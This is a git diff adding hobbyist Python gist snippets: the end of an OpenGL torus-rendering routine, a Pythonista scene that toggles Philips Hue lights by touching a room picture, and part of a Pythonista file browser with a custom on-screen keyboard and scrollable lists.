+        gl.glClear(gl.GL_COLOR_BUFFER_BIT | gl.GL_DEPTH_BUFFER_BIT)
+        gl.glMatrixMode(gl.GL_PROJECTION)
+        gl.glLoadIdentity()
+        gl.gluPerspective(60., width / float(height), .1, 1000.)
+        gl.glMatrixMode(gl.GL_MODELVIEW)
+        gl.glLoadIdentity()
+        gl.glTranslatef(self.trans[0], self.trans[1], self.trans[2])
+        gl.glRotatef(self.rot[0], 1.0, 0.0, 0.0)
+        gl.glRotatef(self.rot[1], 0.0, 1.0, 0.0)
+        gl.glRotatef(self.rz, 0, 0, 1)
+        gl.glRotatef(self.ry, 0, 1, 0)
+        gl.glRotatef(self.rx, 1, 0, 0)
+        gl.glEnable(gl.GL_LIGHTING)
+        gl.glColor3f(1, 0, 0)
+        self.torus.draw()
+        gl.glMatrixMode(gl.GL_PROJECTION)
+        gl.glLoadIdentity()
+        gl.glOrtho(0, width, 0, height, -1, 1)
+        gl.glMatrixMode(gl.GL_MODELVIEW)
+        gl.glLoadIdentity()
+        gl.glDisable(gl.GL_LIGHTING)
+        gl.glColor3f(0, 1, 0)
+        self.lowerlabel.text = 'Rx %.2f Ry %.2f Rz %.2f' % (self.rx, self.ry,
+                                                            self.rz)
+        self.lowerlabel.draw()
+        self.upperlabel.text = time.strftime('Now is %H:%M:%S')
+        self.upperlabel.x = width - self.upperlabel.content_width - 5
+        self.upperlabel.y = height - self.upperlabel.content_height
+        self.upperlabel.draw()
+
+    def timeout(self):
+        if self.animated:
+            self.rx += self.dt * 1
+            self.ry += self.dt * 80
+            self.rz += self.dt * 30
+            self.rx %= 360
+            self.ry %= 360
+            self.rz %= 360
+        self.queue_draw()
+        return True
diff --git a/hard-gists/4156421/._snippet.py b/hard-gists/4156421/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4156421/._snippet.py differ
diff --git a/hard-gists/4156421/snippet.py b/hard-gists/4156421/snippet.py
new file mode 100644
index 00000000..634089fc
--- /dev/null
+++ b/hard-gists/4156421/snippet.py
@@ -0,0 +1,82 @@
+# -*- coding: utf-8 -*-
+from scene import *
+from phue import Bridge
+
+class PictureAutomation (Scene):
+	def setup(self):
+		self.bridge = Bridge()
+		self.lights = self.bridge.get_light_objects('name')
+		self.init_state = self.get_current_state()
+		
+		self.root_layer = Layer(self.bounds)
+		self.image_layers = {}
+		self.button_layers = {}
+		
+		self.image_names = ['000','001','011','111','010','110','100','101']
+		
+		self.button_visible = 0
+		
+		self.button_positions = {}
+		self.button_positions['Salon'] = Rect(75,200,60,150)
+		self.button_positions['Piano'] = Rect(680,260,60,100)
+		self.button_positions[u'Entrée'] = Rect(225,290,130,240)
+		
+		for image in self.image_names:
+			self.image_layers[image] = Layer(Rect(0,0,1024,768))
+			self.image_layers[image].image = load_image_file('lights/{0}.png'.format(image))
+			self.root_layer.add_layer(self.image_layers[image])
+			if image == self.init_state:
+				self.image_layers[image].alpha = 1
+			else:
+				self.image_layers[image].alpha = 0
+			
+		for light in ['Piano', 'Salon', u'Entrée']:
+			self.button_layers[light] = Layer(self.button_positions[light])
+			self.button_layers[light].background = (Color(0,0,0,self.button_visible))
+			self.root_layer.add_layer(self.button_layers[light])		
+		
+		self.previous_layer = self.image_layers[self.init_state]
+	
+	def get_current_state(self):
+		state = ''
+		for light in ['Salon', u'Entrée', 'Piano']:
+			if self.lights[light].on:
+				state += '1'
+			else:
+				state += '0'
+		return state
+				
+	def draw(self):
+		self.root_layer.update(self.dt)
+		self.root_layer.draw()
+	
+	def touch_began(self, touch):
+		print touch.location
+		self.previous_layer = self.image_layers[self.get_current_state()]
+		
+		for button in self.button_layers:
+			if touch.layer == self.button_layers[button]:
+				if self.lights[button].on:
+					self.lights[button].on = False
+				else:
+					self.lights[button].on = True
+				
+				self.update_layers()
+	
+	def update_layers(self):
+		self.image_layers[self.get_current_state()].animate('alpha', 1, 1)
+		self.previous_layer.animate('alpha', 0, 1)
+			
+	def pause(self):
+		self.previous_layer = self.image_layers[self.get_current_state()]
+	
+	def resume(self):
+		self.update_layers()
+	
+	def touch_moved(self, touch):
+		pass
+	
+	def touch_ended(self, touch):
+		pass
+
+run(PictureAutomation(), orientation=LANDSCAPE)
\ No newline at end of file
diff --git a/hard-gists/4156864/._snippet.py b/hard-gists/4156864/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4156864/._snippet.py differ
diff --git a/hard-gists/4156864/snippet.py b/hard-gists/4156864/snippet.py
new file mode 100644
index 00000000..515f5bed
--- /dev/null
+++ b/hard-gists/4156864/snippet.py
@@ -0,0 +1,1185 @@
+# -*- coding: utf-8 -*-
+import os, sys, editor, shutil
+from glob import glob
+from scene import *
+from time import time
+from copy import deepcopy
+from PIL import Image, ImageDraw, ImageFont
+
+# https://gists.github.com/4034526
+
+
+global EventQ
+
+def p_click():
+	print('Klick!')
+
+def focus_true():
+	return True 
+
+class Event():
+	def setup(self, msg_type,msg=None,obj=None):
+		self.msg_type = msg_type
+		self.msg = msg
+		self.obj = obj
+	
+class Events():
+	def __init__(self):
+		self.listeners = []
+	def add_listener(self, listener):
+		self.listeners.append(listener)
+	def remove_listener(self, listener):
+		self.listeners.remove(listener)
+	def pass_event(self, event):
+		print event.msg_type
+		for listener in self.listeners:
+			listener(event)
+		del event
+
+class TextBuffer():
+	def __init__(self, callback=None, got_focus=focus_true, font_size = 32.0):
+		self.text = ''
+		self.max_len = 50
+		self.font_name = 'Helvetica'
+		self.font_size = font_size
+		self.text_img = None
+		self.text_img_s = None
+		self.type_callback = callback
+		self.got_focus = got_focus
+		self.color = Color(0,0,0)
+	def input_char(self, char):
+		if char=='backspace':
+			self.text=self.text[:-1]
+		elif char == 'return':
+			pass
+		elif len(self.text) < self.max_len:
+			self.text += char
+		if self.text_img:
+			del self.text_img
+			del self.text_img_s
+		self.text_img, self.text_img_s = render_text(self.text, font_name=self.font_name, font_size=self.font_size)
+		
+		if self.type_callback:
+			self.type_callback()
+		
+	def event_listener(self, e):
+		if e.msg_type == 'KeyPress':
+			self.input_char(e.msg)
+
+class EmptyLayer(Layer):
+	def __init__(self, frame):
+		super(EmptyLayer, self).__init__(frame)
+	def touch_began(self, touch):
+		if self.superlayer:
+			self.superlayer.touch_began(touch)
+		
+	def touch_ended(self, touch):
+		if self.superlayer:
+			self.superlayer.touch_ended(touch)
+		
+	def touch_moved(self, touch):
+		if self.superlayer:
+			self.superlayer.touch_moved(touch)
+
+class ScrollLayer(Layer):
+	def __init__(self, frame, sublayer, orientation_y = True):
+		super(ScrollLayer, self).__init__(frame)
+		self.orientation_y = orientation_y
+		self.sub_layer = None
+		self.stroke=Color(0,0,0)
+		self.stroke_weight = 1
+		self.set_layer(sublayer)
+		self.cover1 = None 
+		self.cover2 = None 
+	def scrollTo(self, xy):
+		if xy < 0:
+			self.scrollTo(0)
+		elif xy > self.scroll_range:
+			self.scrollTo(self.scroll_range)
+		else:
+			self.scroll_pos = xy
+			if self.orientation_y:
+				self.sub_layer.frame.y = self.frame.h -self.sub_layer.frame.h + xy
+			else:
+				self.sub_layer.frame.x = self.frame.w -self.sub_layer.frame.w + xy
+	def scrollBy(self, dy):
+		self.scrollTo(self.scroll_pos + dy)
+	def touch_moved(self, touch):
+		if self.orientation_y:
+			self.scrollBy((touch.location.y - touch.prev_location.y))
+		else:
+			self.scrollBy((touch.location.x - touch.prev_location.x))
+	#	self.superlayer.touch_moved(touch)
+	def set_layer(self, sublayer):
+		if self.sub_layer:
+			self.sub_layer.remove_layer()
+		self.sub_layer = sublayer
+		self.add_layer(self.sub_layer)
+		# zero when upper left corners match
+		if self.orientation_y:
+			scroll_range = self.sub_layer.frame.h - self.frame.h
+		else:
+			scroll_range = self.sub_layer.frame.w - self.frame.w
+		if scroll_range < 0: scroll_range = 0
+		self.scroll_range = scroll_range
+		self.scroll_pos = scroll_range
+		
+		if self.sub_layer.frame.h > self.frame.h or self.sub_layer.frame.w > self.frame.w:
+			if self.orientation_y:
+				self.cover1 = Layer(Rect(0, self.frame.h+1, self.frame.w, self.sub_layer.frame.h))
+				self.cover2 = Layer(Rect(0, 0, self.frame.w, 0-self.sub_layer.frame.h))
+			else:
+				self.cover1 = Layer(Rect(0-1, 0, 0-self.sub_layer.frame.w, self.sub_layer.frame.h))
+				self.cover2 = Layer(Rect(self.frame.w+1, 0, self.sub_layer.frame.w, self.sub_layer.frame.h))
+			self.cover1.tint = Color(1,1,1)
+			self.cover1.background = Color(0,0,0)
+			self.add_layer(self.cover1)
+			self.cover2.tint = Color(1,1,1)
+			self.cover2.background = Color(0,0,0)
+			self.add_layer(self.cover2)
+			self.scrollTo(0)
+	def touch_began(self, touch):
+	#	self.superlayer.touch_began(touch)
+		pass
+	def touch_ended(self, touch):
+	#	self.superlayer.touch_ended(touch)
+		pass
+	def event_listener(self, e):
+		if e.msg_type == 'touch_moved':
+			if self.frame.intersects(Rect(e.obj.location.x, e.obj.location.y, 1,1)):
+				self.touch_moved(e.obj)
+		elif e.msg_type == 'scroll_top':
+			self.scrollTo(0)
+
+class Textbox(ScrollLayer):
+	def __init__(self, frame):
+		super(Textbox, self).__init__(frame, Layer(Rect(0,0,1,1)), orientation_y = False)
+		img = Image.new('RGBA',(int(frame.w),int(frame.h)), 'grey')
+		draw = ImageDraw.Draw(img)
+		draw.rectangle((1,1, frame.w-2, frame.h-2), outline=256)
+		del draw
+		self.il = load_pil_image(img)
+		self.image = load_pil_image(img)
+		self.txtbf = TextBuffer(self.load_new_text, self.got_focus)
+		EventQ.add_listener(self.txtbf.event_listener)
+		self.textlayer = Layer(Rect(0,0,10,10)) 
+		self.focus = False
+		self.last_touch = 0
+		self.last_click = 0
+	def got_focus(self):
+		return self.focus
+	def load_new_text(self):
+		if self.textlayer:
+			self.remove_layer(self.textlayer)
+		self.textlayer = EmptyLayer(Rect(10,5,self.txtbf.text_img_s.w, self.txtbf.text_img_s.h))
+		self.textlayer.tint = self.txtbf.color
+		self.textlayer.image=self.txtbf.text_img
+		self.set_layer(self.textlayer)
+	def touch_ended(self, touch):
+		if time() - self.last_touch < 0.2:
+			# click
+			if self.frame.intersects(Rect(touch.location.x, touch.location.y, 1,1)):
+				if self.focus == False:
+					self.focus = True
+					e = Event()
+					e.setup('input_focus','',self)
+					EventQ.pass_event(e)
+		self.superlayer.touch_ended(touch)
+	def touch_began(self, touch):
+		self.last_touch = time()
+		self.superlayer.touch_began(touch)
+	def touch_moved(self, touch):
+		self.last_touch = 0 # cancel click
+		super(Textbox,self).touch_moved(touch)
+		self.superlayer.touch_moved(touch)
+			
+
+class RootLayer(Layer):
+	def __init__(self, the_scene, frame):
+		super(RootLayer, self).__init__(frame)
+		self.the_scene = the_scene
+	def touch_began(self, touch):
+		self.the_scene.touch_began(touch)
+		
+	def touch_ended(self, touch):
+		self.the_scene.touch_ended(touch)
+		
+	def touch_moved(self, touch):
+		self.the_scene.touch_moved(touch)
+
+class KbdLayer(Layer):
+	def __init__(self, frame, home):
+		super(KbdLayer, self).__init__(frame)
+		self.homedir = home
+		self.row_rects = [[Rect(1, 159, 28, 38), Rect(33, 159, 28, 38), Rect(65, 159, 28, 38), Rect(97, 159, 28, 38), Rect(129, 159, 28, 38), Rect(161, 159, 28, 38), Rect(193, 159, 28, 38), Rect(225, 159, 28, 38), Rect(257, 159, 28, 38), Rect(289, 159, 28, 38)],[Rect(17, 107, 28, 38), Rect(49, 107, 28, 38), Rect(81, 107, 28, 38), Rect(113, 107, 28, 38), Rect(145, 107, 28, 38), Rect(177, 107, 28, 38), Rect(209, 107, 28, 38), Rect(241, 107, 28, 38), Rect(273, 107, 28, 38)],[Rect(1, 55, 37, 38), Rect(49, 55, 28, 38), Rect(81, 55, 28, 38), Rect(113, 55, 28, 38), Rect(145, 55, 28, 38), Rect(177, 55, 28, 38), Rect(209, 55, 28, 38), Rect(241, 55, 28, 38), Rect(281, 55, 37, 38)],[Rect(1, 2, 76, 38), Rect(81, 2, 158, 38), Rect(243, 2, 75, 38)]]
+		self.n_row_rects = [[Rect(0, 157, 30, 40), Rect(32, 157, 30, 40), Rect(64, 157, 30, 40), Rect(96, 157, 30, 40), Rect(128, 157, 30, 40), Rect(160, 157, 30, 40), Rect(192, 157, 30, 40), Rect(224, 157, 30, 40), Rect(256, 157, 30, 40), Rect(288, 157, 30, 40)],[Rect(0, 105, 30, 40), Rect(32, 105, 30, 40), Rect(64, 105, 30, 40), Rect(96, 105, 30, 40), Rect(128, 105, 30, 40), Rect(160, 105, 30, 40), Rect(192, 105, 30, 40), Rect(224, 105, 30, 40), Rect(256, 105, 30, 40), Rect(288, 105, 30, 40)],[Rect(0, 53, 39, 40), Rect(56, 53, 40, 40), Rect(98, 53, 40, 40), Rect(140, 53, 40, 40), Rect(182, 53, 40, 40), Rect(224, 53, 40, 40), Rect(280, 53, 39, 40)],[Rect(0, 0, 78, 40), Rect(80, 0, 160, 40), Rect(242, 0, 77, 40)]]
+
+		self.row_keys = []
+		self.n_row_keys = []
+		self.setup_keys()
+		self.shift = False
+		self.direct_input = None
+		self.keyboard, self.kb_size = self.load_keyboard()
+		self.num_keyboard, self.n_kb_size = self.load_num_keyboard()
+		self.frame = Rect(self.frame.x, self.frame.y, 320, 245)
+		self.background = Color(0, 0, 0)
+		self.image = self.keyboard
+		self.mode = 0 # 0: letters. 1: numbers
+	def setup_keys(self):
+		row1_keys = ['q','w','e','r','t','y','u','i','o','p']
+		self.row_keys.append(row1_keys)
+		row2_keys = ['a','s','d','f','g','h','j','k','l']
+		self.row_keys.append(row2_keys)
+		row3_keys = ['shift','z','x','c','v','b','n','m','backspace']
+		self.row_keys.append(row3_keys)
+		row4_keys = ['mode','space','return']
+		self.row_keys.append(row4_keys)
+		n_row1_keys = ['1','2','3','4','5','6','7','8','9','0']
+		self.n_row_keys.append(n_row1_keys)
+		n_row2_keys = ['-','/',':',';','(',')','$','&','@','"']
+		self.n_row_keys.append(n_row2_keys)
+		n_row3_keys = ['#+=','.',',','?','!',"'",'backspace']
+		self.n_row_keys.append(n_row3_keys)
+		n_row4_keys = ['mode','space','return']
+		self.n_row_keys.append(n_row4_keys)
+	def create_kbd(self):
+		self.im = Image.new("RGBA", (320, 245), "black")
+		il = ImageDraw.Draw(self.im)
+		font = ImageFont.truetype("Helvetica", 24)
+		i = 0
+		while i < len(self.row_rects):
+			n = 0
+			while n < len(self.row_rects[i]):
+				t = self.row_keys[i][n]
+				if t == 'shift':
+					t = '^'
+				elif t == 'backspace':
+					t = '<=]'
+				elif t == 'mode':
+					t = '123'
+				elif t == 'backspace':
+					t = 'space'
+				s = il.textsize(t, font=font)
+				dx = (self.row_rects[i][n].w-s[0])/2
+				dy = (self.row_rects[i][n].h-s[1])/2
+				il.rectangle([(self.row_rects[i][n].x, 200- self.row_rects[i][n].y), (self.row_rects[i][n].x+self.row_rects[i][n].w, 200- self.row_rects[i][n].y+self.row_rects[i][n].h)], outline=(256,0,0), fill=(0,0,0))
+				il.text((self.row_rects[i][n].x +dx, 200- self.row_rects[i][n].y+dy), t, font=font, fill=(256,256,256))
+				n += 1
+			i += 1
+		del il
+		self.i=load_pil_image(self.im)
+		self.im.save('kbd.png', "PNG")
+	def create_nkbd(self):
+		self.nim = Image.new("RGBA", (320, 245), "black")
+		il = ImageDraw.Draw(self.nim)
+		font = ImageFont.truetype("Helvetica", 24)
+		i = 0
+		while i < len(self.n_row_rects):
+			n = 0
+			while n < len(self.n_row_rects[i]):
+				t = self.n_row_keys[i][n]
+				if t == 'backspace':
+					t = '<=]'
+				elif t == 'mode':
+					t = 'ABC'
+				elif t == 'backspace':
+					t = 'space'
+				s = il.textsize(t, font=font)
+				dx = (self.n_row_rects[i][n].w-s[0])/2
+				dy = (self.n_row_rects[i][n].h-s[1])/2
+				il.rectangle([(self.n_row_rects[i][n].x, 200- self.n_row_rects[i][n].y), (self.n_row_rects[i][n].x+self.n_row_rects[i][n].w, 200- self.n_row_rects[i][n].y+self.n_row_rects[i][n].h)], outline=(256,0,0), fill=(0,0,0))
+				il.text((self.n_row_rects[i][n].x +dx, 200- self.n_row_rects[i][n].y+dy), t, font=font, fill=(256,256,256))
+				n += 1
+			i += 1
+		del il
+		self.ni=load_pil_image(self.nim)
+		self.nim.save('nkbd.png', "PNG")
+	def load_keyboard(self):
+		kb_filename = "kbd.png"
+		if os.path.isfile(kb_filename):
+			kb_image = load_image_file(kb_filename)
+			return [kb_image, Image.open(kb_filename).size]
+		else:
+			self.create_kbd()
+			return self.load_keyboard()
+	def load_num_keyboard(self):
+		kb_filename = "nkbd.png"
+		if os.path.isfile(kb_filename):
+			kb_image = load_image_file(kb_filename)
+			return [kb_image, Image.open(kb_filename).size]
+		else:
+			self.create_nkbd()
+			return self.load_num_keyboard()
+	def touch_began(self, touch):
+		self.last_touch = time()
+		r = None
+		char = ''
+		if self.mode == 0: # The alfabetical keyboard
+			if touch.location.y > 156:
+				i = int(touch.location.x / 32)
+				r = self.row_rects[0][i]
+				char = self.row_keys[0][i]
+			elif touch.location.y > 104 and touch.location.y < 146:
+				i = int((touch.location.x - 16)/ 32)
+				if i > -1 and i < 9:
+					r = self.row_rects[1][i]
+					char = self.row_keys[1][i]
+			elif touch.location.y > 52 and touch.location.y < 93:
+				if touch.location.x < 41:
+					r = self.row_rects[2][0]
+					char = self.row_keys[2][0]
+				elif touch.location.x > 280:
+					r = self.row_rects[2][8]
+					char = self.row_keys[2][8]
+				else:
+					i = int((touch.location.x - 48)/ 32)
+					if i > -1 and i < 8:
+						r = self.row_rects[2][i]
+						char = self.row_keys[2][i]
+			elif touch.location.y < 41:
+				if touch.location.x < 79:
+					r = self.row_rects[3][0]
+					char = self.row_keys[3][0]
+				elif touch.location.x < 240:
+					r = self.row_rects[3][1]
+					char = self.row_keys[3][1]
+				else: 
+					r = self.row_rects[3][2]
+					char = self.row_keys[3][2]
+		elif self.mode == 1: # Numerical keyboard
+			if touch.location.y > 156:
+				i = int(touch.location.x / 32)
+				r = self.n_row_rects[0][i]
+				char = self.row_keys[0][i]
+			elif touch.location.y > 104 and touch.location.y < 146:
+				i = int(touch.location.x / 32)
+				r = self.n_row_rects[1][i]
+				char = self.row_keys[1][i]
+			elif touch.location.y > 52 and touch.location.y < 93:
+				if touch.location.x < 41:
+					r = self.n_row_rects[2][0] # The advanced keyboard, to be implemented
+					char = self.row_keys[2][0]
+				elif touch.location.x > 280:
+					r = self.n_row_rects[2][6]
+					char = self.row_keys[2][6]
+				else:
+					i = int((touch.location.x - 56)/ 40) + 1
+					if i > -1 and i < 6:
+						r = self.n_row_rects[2][i]
+						char = self.row_keys[2][i]
+			elif touch.location.y < 41:
+				if touch.location.x < 79:
+					r = self.n_row_rects[3][0]
+					char = self.row_keys[3][0]
+				elif touch.location.x < 240:
+					r = self.n_row_rects[3][1]
+					char = self.row_keys[3][1]
+				else: 
+					r = self.n_row_rects[3][2]
+					char = self.row_keys[3][2]
+		if r:
+			self.highlight = EmptyLayer(Rect(r.x,r.y,r.w,r.h+60))
+			l, s = render_text(char, font_size=32.0)
+			self.high_letter = EmptyLayer(Rect((r.w-s.w)/2,r.h+60-s.h,s.w,s.h))
+			self.high_letter.tint = Color(0,0,0)
+			self.high_letter.image = l
+			self.highlight.background = Color(1,1,1, 0.75)
+			self.highlight.add_layer(self.high_letter)
+			self.add_layer(self.highlight)
+		self.superlayer.touch_began(touch)
+		
+	def touch_ended(self, touch):
+		if self.highlight:
+			self.remove_layer(self.highlight)
+		if time() - self.last_touch < 0.2:
+			char = ''
+			if self.mode == 0: # The alfabetical keyboard
+				if touch.location.y > 156:
+					i = int(touch.location.x / 32)
+					char = self.row_keys[0][i]
+					if self.shift:
+						char= char.upper()
+						self.shift = False 
+				elif touch.location.y > 104 and touch.location.y < 146:
+					i = int((touch.location.x - 16)/ 32)
+					if i > -1 and i < 9:
+						char = self.row_keys[1][i]
+						if self.shift:
+							char= char.upper()
+							self.shift = False 
+				elif touch.location.y > 52 and touch.location.y < 93:
+					if touch.location.x < 41:
+						if self.shift:
+							self.shift = False
+						else:
+							self.shift = True
+						pass
+					elif touch.location.x > 280:
+						char = 'backspace'
+					else:
+						i = int((touch.location.x - 48)/ 32)
+						if i > -1 and i < 8:
+							char = self.row_keys[2][i]
+							if self.shift:
+								char= char.upper()
+								self.shift = False 
+				elif touch.location.y < 41:
+					if touch.location.x < 79:
+						self.mode = 1
+						self.image = self.num_keyboard
+					elif touch.location.x < 240:
+						char = ' '
+					else: 
+						char = 'return'
+			elif self.mode == 1: # Numerical keyboard
+				if touch.location.y > 156:
+					i = int(touch.location.x / 32)
+					char = self.n_row_keys[0][i]
+				elif touch.location.y > 104 and touch.location.y < 146:
+					i = int(touch.location.x / 32)
+					char = self.n_row_keys[1][i]
+				elif touch.location.y > 52 and touch.location.y < 93:
+					if touch.location.x < 41:
+						pass # The advanced keyboard, to be implemented
+					elif touch.location.x > 280:
+						char = 'backspace'
+					else:
+						i = int((touch.location.x - 56)/ 40) + 1
+						if i > -1 and i < 6:
+							char = self.n_row_keys[2][i]
+				elif touch.location.y < 41:
+					if touch.location.x < 79:
+						self.mode = 0
+						self.image = self.keyboard
+					elif touch.location.x < 240:
+						char = ' '
+					else: 
+						char = 'return'
+
+			if len(char) > 0:
+				if self.direct_input:
+					self.direct_input(char)
+				else:
+					e = Event()
+					e.setup('KeyPress', char)
+					EventQ.pass_event(e)
+		self.superlayer.touch_ended(touch)
+	def touch_moved(self, touch):
+		if self.highlight:
+			self.remove_layer(self.highlight)
+		self.superlayer.touch_moved(touch)
+
+class ListItem(EmptyLayer):
+	def __init__(self, frame, text, kind, edit_mode, text_color = Color(1,1,1), count_callback = None, listname=None):
+		super(ListItem, self).__init__(frame)
+		self.listname = listname
+		self.background = Color(0,0,0)
+		self.text_color = text_color
+		self.txtbf = TextBuffer(got_focus=False, font_size = 24.0)
+		self.txtbf.text = text
+		self.txtbf.input_char('')
+		self.edit_mode = edit_mode
+		self.edit_icon = 'White_Square'
+		self.count_callback = count_callback 
+		self.unselected_layer = EmptyLayer(Rect(0,0,40,40))
+		self.unselected_layer.image = self.edit_icon
+		self.edit_icon_selected = 'Checkmark_1'
+		self.selected_layer = EmptyLayer(Rect(0,0,40,40))
+		self.selected_layer.image = self.edit_icon_selected
+		if self.edit_mode and self.txtbf.text != '..':
+			self.e_margin = 45
+			self.add_layer(self.unselected_layer)
+		else:
+			self.e_margin = 0
+		self.textlayer = ()
+		self.type = kind
+		if self.type:
+			self.icon = 'Page_Facing_Up'
+		else:
+			self.icon = 'Books'
+			self.folder_icon_layer = EmptyLayer(Rect(self.frame.w-self.frame.h-2,0, self.frame.h, self.frame.h))
+			self.folder_icon_layer.image = 'Typicons48_Next'
+			self.folder_icon_layer.background = Color(0,0,0)
+			self.add_layer(self.folder_icon_layer)
+		self.icon_layer = EmptyLayer(Rect(self.e_margin,0, self.frame.h, self.frame.h))
+		self.icon_layer.image = self.icon
+		self.selected = False
+		self.txtbf = TextBuffer(got_focus=False, font_size = 24.0)
+		self.txtbf.text = text
+		self.txtbf.input_char('')
+		dy = (self.frame.h-self.txtbf.text_img_s.h)/2
+		self.textlayer = EmptyLayer(Rect(self.e_margin+self.frame.h,dy,self.txtbf.text_img_s.w, self.txtbf.text_img_s.h))
+		self.textlayer.tint = self.text_color
+		self.textlayer.image=self.txtbf.text_img
+		self.add_layer(self.icon_layer)
+		self.add_layer(self.textlayer)
+	def toggle_edit(self, edit_mode=False):
+		if self.edit_mode == edit_mode:
+			pass
+		elif edit_mode == True:
+			self.add_layer(self.unselected_layer)
+		else:
+			self.remove_layer(self.unselected_layer)
+			if self.selected:
+				self.remove_layer(self.selected_layer)
+			self.edit_mode = False
+			self.selected = False
+	def toggle_selection(self):
+		change = 0
+		if self.selected:
+			self.selected = False
+			self.remove_layer(self.selected_layer)
+			change = -1
+		else:
+			self.selected = True 
+			self.add_layer(self.selected_layer)
+			change = 1
+		if self.count_callback:
+			self.count_callback(change)
+	def touch_ended(self, touch):
+		if time() - self.last_touch < 0.2:
+			# click
+			if self.edit_mode == False:
+				e = Event()
+				e.setup('fs_open', self.txtbf.text, self.listname)
+				EventQ.pass_event(e)
+			elif self.txtbf.text != '..':
+				self.toggle_selection()
+		self.superlayer.touch_ended(touch)
+	def touch_began(self, touch):
+		self.last_touch = time()
+		self.superlayer.touch_began(touch)
+	def touch_moved(self, touch):
+		self.last_touch = 0 # cancel click
+		self.superlayer.touch_moved(touch)
+
+class List(ScrollLayer):
+	def __init__(self, frame, edit_mode = False, name = None):
+		super(List, self).__init__(frame, Layer(Rect(0,0,10,10)))
+		self.name = name
+		self.edit_mode = edit_mode
+		self.list = []
+		self.items = []
+		self.list_layer = None 
+		self.selected_count = 0
+	def set_list(self, list):
+		self.items = []
+		self.selected_count = 0
+		self.list = list
+		w = self.frame.w
+		margin = 1
+		h = 40
+		lh = (margin+1)*len(list)+h*(len(list))
+		if lh < self.frame.h:
+			lh = self.frame.h
+		y = lh - h - margin
+		ly = self.frame.h - (margin+1)*len(list)+h*(len(list))
+		if ly <  0:
+			ly == 0
+		self.list_layer = EmptyLayer(Rect(0,0,w,lh))
+		self.list_layer.background = Color(0.5,0.5,0.5)
+		self.list_layer.edit_mode = self.edit_mode
+		#self.list_layer.background = Color(0,1,0)
+		for item in self.list:
+			it = ListItem(Rect(0,y,w,h), item[0], item[1], self.edit_mode,count_callback = self.count_callback, listname=self.name)
+			self.items.append(it)
+			self.list_layer.add_layer(it)
+			y -= h + margin
+		self.set_layer(self.list_layer)
+	def count_callback(self, change):
+		self.selected_count += change
+		e = Event()
+		e.setup('edit_mode_selected_count', '%s' % self.selected_count)
+		EventQ.pass_event(e)
+			
+
+# Thx wrenoud! :)
+class filesystem:
+	def __init__(self, cwd ='.'):
+		self.cwd = cwd
+		self.chdir(cwd)
+		self.home = self.cwd
+		
+	def chdir(self,path):
+		# see if its an absolute path
+		if path.startswith('/'):
+			self.cwd = path
+		# it's probably a relative path,
+		# let's append cwd and let os.path do its magic
+		else:
+			self.cwd = os.path.abspath(os.path.join(self.cwd,path))
+		entries = os.listdir(self.cwd)
+		self.dirs = []
+		self.files = []
+		self.dirs.append(['..', False])
+		for entry in entries:
+			if os.path.isdir(self.cwd+'/'+entry):
+				self.dirs.append([entry, False])
+			else:
+				self.files.append([entry, True])
+		
+	def getcwd(self):
+		return self.cwd
+		
+	def getdirs(self):
+		return self.dirs
+		
+	def getfiles(self):
+		return self.files
+	
+	def listfile(self):
+		return
+		
+	def isdir(self, path):
+		return os.path.isdir(path)
+		
+	def isfile(self, path):
+		return os.path.isfile(path)
+
+class ToolbarItem(EmptyLayer):
+	def __init__(self, frame, kind, alignment):
+		super(ToolbarItem, self).__init__(frame)
+		self.alignment = alignment
+		self.kind = kind
+		if kind == 'fs_add_button':
+			self.image = 'Typicons48_Plus'
+		elif kind == 'edit_mode_button':
+			self.image = 'Typicons48_Export'
+		elif kind == 'fs_statusbar':
+			self.set_status('Checking items')
+	def set_status(self, status = 'Checking items'):
+		if self.sublayers:
+			del self.sublayers[0]
+		self.txtobj = TextBuffer(font_size=20.0)
+		self.txtobj.text = status
+		self.txtobj.input_char('')
+		dx = (self.frame.w - self.txtobj.text_img_s.w) / 2
+		dy = (self.frame.h - self.txtobj.text_img_s.h) / 2
+		self.textlayer = EmptyLayer(Rect(dx, dy, self.txtobj.text_img_s.w, self.txtobj.text_img_s.h))
+		self.textlayer.tint = Color(1,1,1)
+		self.textlayer.image = self.txtobj.text_img
+		self.add_layer(self.textlayer)
+	def touch_ended(self, touch):
+		if time() - self.last_touch < 0.2:
+			# click
+			if self.kind == 'fs_statusbar':
+				e = Event()
+				e.setup('scroll_top')
+				EventQ.pass_event(e)
+			elif self.kind == 'fs_add_button':
+				e = Event()
+				e.setup('fs_add_button')
+				EventQ.pass_event(e)
+			elif self.kind == 'edit_mode_button':
+				e = Event()
+				e.setup('toggle_edit_mode')
+				EventQ.pass_event(e)
+		self.superlayer.touch_ended(touch)
+	def touch_began(self, touch):
+		self.last_touch = time()
+		self.superlayer.touch_began(touch)
+	def touch_moved(self, touch):
+		self.last_touch = 0 # cancel click
+		self.superlayer.touch_moved(touch)
+		
+
+class Toolbar(EmptyLayer):
+	def __init__(self, frame):
+		super(Toolbar, self).__init__(frame)
+		self.objects = []
+	def add_object(self, kind, alignment=1):
+		# alignment;	1 left
+		#							2 center
+		#							3 right
+		if kind == 'fs_statusbar':
+			w = 130
+		else:
+			w = self.frame.h
+		x = 0
+		if alignment == 1:
+			for o in self.objects:
+				if o.alignment == 1:
+					x += o.frame.w + 1
+		elif alignment == 2:
+			if x == 0:
+				x = self.frame.w/2 - w/2
+			for o in self.objects:
+				if o.alignment == 2:
+					x += o.frame.w + 1
+		else: # alignment == 3
+			x = self.frame.w - w
+			for o in self.objects:
+				if o.alignment == 3:
+					x -= (o.frame.w + 1)
+		obj = ToolbarItem(Rect(x, 0, w, self.frame.h), kind, alignment)
+		self.objects.append(obj)
+		self.add_layer(obj)
+
+class Button(EmptyLayer):
+	def __init__(self, frame, text='Ok', on_click = None, icon = None, align=1,font_size = 32.0, foreground = Color(0,0,0), name = None):
+		super(Button, self).__init__(frame)
+		self.name = name
+		self.on_click = on_click
+		self.icon = icon
+		self.icon_w = 10
+		self.icon_layer = EmptyLayer(Rect(1,1,self.frame.h-2,self.frame.h-2))
+		if self.icon != None:
+			self.icon_w = frame.h
+			self.icon_layer.image = self.icon
+		self.align = align
+		self.txtbuf = TextBuffer(font_size=font_size)
+		self.txtbuf.text = text
+		self.txtbuf.input_char('')
+		w = self.txtbuf.text_img_s.w
+		h = self.txtbuf.text_img_s.h
+		x = self.icon_w #(self.frame.w - w)/2
+		y = (self.frame.h - h)/2
